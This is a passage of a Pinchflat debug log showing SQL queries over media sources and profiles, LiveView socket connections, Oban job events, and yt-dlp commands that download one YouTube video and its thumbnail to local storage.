count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:19:19.563 [debug] QUERY OK source="sources" db=1.6ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:19:19.565 [info] Sent 200 in 8ms 22:19:19.786 [info] CONNECTED TO Phoenix.LiveView.Socket in 53µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "BX43Dw08HwgVBg89WnEuPQ49cScZKRIrJ7mmLOLARies39goTLEskmtn", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:19.890 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:19:19.892 [debug] QUERY OK source="sources" db=1.4ms idle=330.7ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:19:19.895 [debug] QUERY OK source="sources" db=2.1ms idle=332.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:19:19.895 [debug] Replied in 5ms 22:19:19.897 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 22:19:19.897 [debug] Replied in 133µs 22:19:20.366 [info] GET /media_profiles 22:19:20.366 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 22:19:20.367 [debug] QUERY OK source="media_profiles" db=0.5ms idle=805.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 22:19:20.368 [debug] QUERY OK source="settings" db=0.2ms idle=804.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:20.368 [debug] QUERY OK source="settings" db=0.1ms idle=767.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:20.369 [debug] QUERY OK source="settings" db=0.1ms idle=476.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:20.370 [info] Sent 200 in 4ms 22:19:20.543 [info] CONNECTED TO Phoenix.LiveView.Socket in 65µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CwQ8Uw9eBj89GF0hJhobGR8aDB5FNTwADMf1N-Uvzw7oORRKEk8J7qZE", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:20.887 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 22:19:20.888 [debug] Replied in 221µs 22:19:21.277 [info] GET /media_profiles/new 22:19:21.277 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 22:19:21.278 [debug] QUERY OK source="settings" db=0.2ms idle=910.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:21.279 [debug] QUERY OK source="settings" db=0.3ms idle=910.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:21.279 [debug] QUERY OK source="settings" db=0.1ms idle=910.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:21.280 [debug] QUERY OK source="settings" db=0.2ms idle=910.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:21.281 [debug] QUERY OK source="settings" db=0.1ms idle=678.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:21.283 [info] Sent 200 in 6ms 22:19:21.300 [info] CONNECTED TO Phoenix.LiveView.Socket in 33µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CwQ8Uw9eBj89GF0hJhobGR8aDB5FNTwADMf1N-Uvzw7oORRKEk8J7qZE", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:21.742 [info] CONNECTED TO Phoenix.LiveView.Socket in 41µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "NgQ4WnQ9Bi5qABseHCEvYCtFYzElDjUgyMb85NUg-oqPuif2q4WeWJSe", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:21.793 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 22:19:21.793 [debug] Replied in 188µs 22:19:28.868 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:37.683 [info] GET /media_profiles 22:19:37.683 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 22:19:37.684 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1056.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 22:19:37.685 [debug] QUERY OK source="settings" db=0.3ms idle=622.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:37.685 [debug] QUERY OK source="settings" db=0.1ms idle=622.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:37.686 [debug] QUERY OK source="settings" db=0.1ms idle=623.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:37.688 [info] Sent 200 in 4ms 22:19:37.693 [info] CONNECTED TO Phoenix.LiveView.Socket in 46µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "NgQ4WnQ9Bi5qABseHCEvYCtFYzElDjUgyMb85NUg-oqPuif2q4WeWJSe", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:38.249 [info] CONNECTED TO Phoenix.LiveView.Socket in 127µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "BSBpMiRAPDwvBx4FKhgzNww7cmwYNlAhJi3Pe3ouhhtKCPzeVJF8jr6d", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:38.276 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 22:19:38.276 [debug] Replied in 62µs 22:19:46.939 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=5diMuiDQ2Wo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0d/31/0d3157cde62c416b861d3e8f3993f9393dd1e082c64a688aa620fbf5d0f9e6f2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:19:46.948 [debug] Running yt-dlp command for action: download_thumbnail 22:19:46.948 [debug] QUERY OK source="settings" db=0.0ms idle=1885.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:46.948 [debug] QUERY OK source="settings" db=0.0ms idle=1885.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:46.948 [debug] QUERY OK source="settings" db=0.0ms idle=1886.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:46.948 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=5diMuiDQ2Wo --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/77/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6e/f4/6ef4f56b52bc0418ef11741cc681642681a58ae23ca57d7c26198db2084f9765.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:19:49.458 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=5diMuiDQ2Wo --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/77/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6e/f4/6ef4f56b52bc0418ef11741cc681642681a58ae23ca57d7c26198db2084f9765.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:19:49.458 [debug] QUERY OK db=0.0ms idle=1396.0ms begin [] 22:19:49.459 [debug] QUERY OK source="media_items" db=0.2ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:19:46Z], "/downloads/Last Meals/2026-03-24 I can't believe we pulled it off..#/I can't believe we pulled it off... [5diMuiDQ2Wo].mp4", ~U[2026-03-28 02:19:49Z], 77] 22:19:49.461 [debug] QUERY OK source="media_metadata" db=1.9ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/77/metadata.json.gz", "/config/metadata/media_items/77/thumbnail.jpg", 77, ~U[2026-03-28 02:19:49Z], ~U[2026-03-28 02:19:49Z]] 22:19:49.461 [debug] QUERY OK db=0.1ms commit [] 22:19:49.462 [debug] QUERY OK source="media_items" db=0.3ms idle=1398.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [604773227, ~U[2026-03-28 02:19:49Z], 77] 22:19:49.462 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:19:49.462 [info] {"args":{"id":77},"id":82,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":149199463,"event":"job:stop","queue_time":5314262347,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:19:49.462 [debug] QUERY OK source="tasks" db=0.1ms idle=814.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:19:49.462 [debug] QUERY OK source="media_items" db=0.0ms idle=400.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [78] 22:19:49.467 [info] {"args":{"id":86},"id":84,"meta":{},"system_time":1774664389467624591,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:19:49.467 [debug] QUERY OK source="media_items" db=0.0ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [86] 22:19:49.467 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:19:49.468 [debug] QUERY OK source="tasks" db=0.2ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:19:49.468 [debug] QUERY OK source="sources" db=0.0ms queue=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = 